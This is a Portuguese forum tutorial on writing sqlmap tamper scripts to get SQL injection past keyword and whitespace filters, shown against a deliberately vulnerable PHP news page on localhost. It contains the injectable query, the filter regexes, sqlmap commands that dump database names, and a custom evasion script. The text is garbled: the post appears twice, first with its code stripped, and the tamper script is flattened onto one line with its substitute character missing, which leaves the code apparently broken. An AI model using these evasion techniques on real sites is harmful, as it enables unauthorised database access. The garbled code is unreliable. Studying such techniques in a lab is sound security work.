Hi.
Alguma vez na vida com certeza nos deparamos com programadores que tentam se proteger contra SQL Injection através de keywords. Acham que verificando se o parâmetro capturado do cliente contém alguma keyword SQL já estarão protegidos. Será mesmo que eles estarão certos? ;-)
Uma das features mais interessantes do magnífico projeto Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... são os tamper scripts. São scripts em Python que te possibilitam modificar o payload da forma que você preferir. Sendo assim, conseguimos automatizar a tarefa e burlar filtros de modo simples e rápido, sem perder qualquer utilidade oferecida pelo SQLMap.
Por default, o SQLMap já vem com uma gama de scripts que ficam dentro do diretório tamper/*.py. Todos os scripts vem bem comentados, o que facilita ainda mais o entendimento.
Nesta matéria, irei demonstrar um pouco do uso dos tamper scripts, desde o uso até a criação dos mesmos.
Para demonstração da matéria, criei um sistema de notícias simples apenas para testarmos os scripts de forma rápida e sem prejudicar ninguém.
Query executada pelo sistema de notícias:
Como vimos, não há tratamento nenhum. Apenas executamos diretamente no banco o parâmetro recebido do cliente pelo método GET.
Inserindo uma aspa simples, já conseguimos quebrar a query:
Agora, vamos inserir um filtro básico, parecido com o que alguns IDS utilizam.
Isso verificaria se há espaços no parâmetro GET antes de enviar a consulta. O sqlmap por default adiciona vários. Poxa, vou ter que explorar isso na mão?
Consigo burlar isso manualmente substituindo os espaços para /**/ na query. Mas o sqlmap não faz isso… Oh, wait! Faz sim.
Porém, WAFs como o mod_rewrite bloqueiam quaisquer tentativa de inserção de “/**/” ou “+” vindos do cliente. E agora, fvox? :O
Para burlar isso, podemos utilizar “” ao invés dos “/**/”. Mas o space2comment.py não faz isso automaticamente.
Vamos melhorar esse filtro pra ver na prática…
É, já não funciona mais…
Triste, né?
Mas vamos criar nosso próprio script para fazer o replace…
Simples, não é mesmo?
Será que funciona?
É, conseguimos! ;-)
Por enquanto é isso aí.
Bons estudos!
Referência: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
[]'s
Alguma vez na vida com certeza nos deparamos com programadores que tentam se proteger contra SQL Injection através de keywords. Acham que verificando se o parâmetro capturado do cliente contém alguma keyword SQL já estarão protegidos. Será mesmo que eles estarão certos? ;-)
Uma das features mais interessantes do magnífico projeto Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... são os tamper scripts. São scripts em Python que te possibilitam modificar o payload da forma que você preferir. Sendo assim, conseguimos automatizar a tarefa e burlar filtros de modo simples e rápido, sem perder qualquer utilidade oferecida pelo SQLMap.
Por default, o SQLMap já vem com uma gama de scripts que ficam dentro do diretório tamper/*.py. Todos os scripts vem bem comentados, o que facilita ainda mais o entendimento.
Nesta matéria, irei demonstrar um pouco do uso dos tamper scripts, desde o uso até a criação dos mesmos.
Para demonstração da matéria, criei um sistema de notícias simples apenas para testarmos os scripts de forma rápida e sem prejudicar ninguém.
Query executada pelo sistema de notícias:
Código PHP:
<?php
$sql = 'SELECT * FROM noticias WHERE id = ' . $_GET['id'];
Inserindo uma aspa simples, já conseguimos quebrar a query:
127.0.0.1 - - [26/Oct/2011:09:59:28 -0200] "GET /news/?id=2' HTTP/1.1" 200 202
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Agora, vamos inserir um filtro básico, parecido com o que alguns IDS utilizam.
Código PHP:
<?php
if(preg_match('/\s/', $_GET['id']))
die('Hacking Attempt');
Isso verificaria se há espaços no parâmetro GET antes de enviar a consulta. O sqlmap por default adiciona vários. Poxa, vou ter que explorar isso na mão?
:~/sqlmap-dev$ python sqlmap.py -o -u "http://localhost/news/?id=2" --dbs
[...]
[10:09:12] [WARNING] GET parameter 'id' is not injectable
[10:09:12] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details
[...]
[10:09:12] [WARNING] GET parameter 'id' is not injectable
[10:09:12] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details
Consigo burlar isso manualmente substituindo os espaços para /**/ na query. Mas o sqlmap não faz isso… Oh, wait! Faz sim.
:~/sqlmap-dev$ python sqlmap.py --tamper "tamper/space2comment.py" -o -u "http://localhost/news/?id=2" --dbs
[...]
[10:11:53] [INFO] loading tamper script 'space2comment'
[...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
[...]
[10:12:10] [INFO] fetching database names
[10:12:10] [INFO] the SQL query used returns 7 entries
[...]
[10:11:53] [INFO] loading tamper script 'space2comment'
[...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
[...]
[10:12:10] [INFO] fetching database names
[10:12:10] [INFO] the SQL query used returns 7 entries
Porém, WAFs como o mod_rewrite bloqueiam quaisquer tentativa de inserção de “/**/” ou “+” vindos do cliente. E agora, fvox? :O
Para burlar isso, podemos utilizar “” ao invés dos “/**/”. Mas o space2comment.py não faz isso automaticamente.
Vamos melhorar esse filtro pra ver na prática…
Código PHP:
<?php
if(preg_match('/(\s|\/\*\*\/|\+)/', $_GET['id']))
die('Hacking Attempt');
É, já não funciona mais…
[10:30:11] [INFO] loading tamper script 'space2plus'
[10:30:13] [WARNING] GET parameter 'id' is not injectable
[10:30:13] [WARNING] GET parameter 'id' is not injectable
Mas vamos criar nosso próprio script para fazer o replace…
Código:
#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload): if payload: payload = payload.replace("/**/", ""); payload = payload.replace("+", ""); return payload
Será que funciona?
:~/sqlmap-dev$ python sqlmap.py --tamper "tamper/space2plus.py,tamper/fvox.py" -o -u "http://localhost/news/?id=2" --dbs
[...]
[10:31:50] [INFO] loading tamper script 'space2plus'
[10:31:50] [INFO] loading tamper script 'fvox'
[...]
[10:31:51] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[...]
[10:31:51] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[...]
[10:32:01] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
[...]
[10:32:30] [INFO] fetching database names
[10:32:30] [INFO] the SQL query used returns 7 entries
[...]
[10:31:50] [INFO] loading tamper script 'space2plus'
[10:31:50] [INFO] loading tamper script 'fvox'
[...]
[10:31:51] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[...]
[10:31:51] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[...]
[10:32:01] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
[...]
[10:32:30] [INFO] fetching database names
[10:32:30] [INFO] the SQL query used returns 7 entries
É, conseguimos! ;-)
Por enquanto é isso aí.
Bons estudos!
Referência: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
[]'s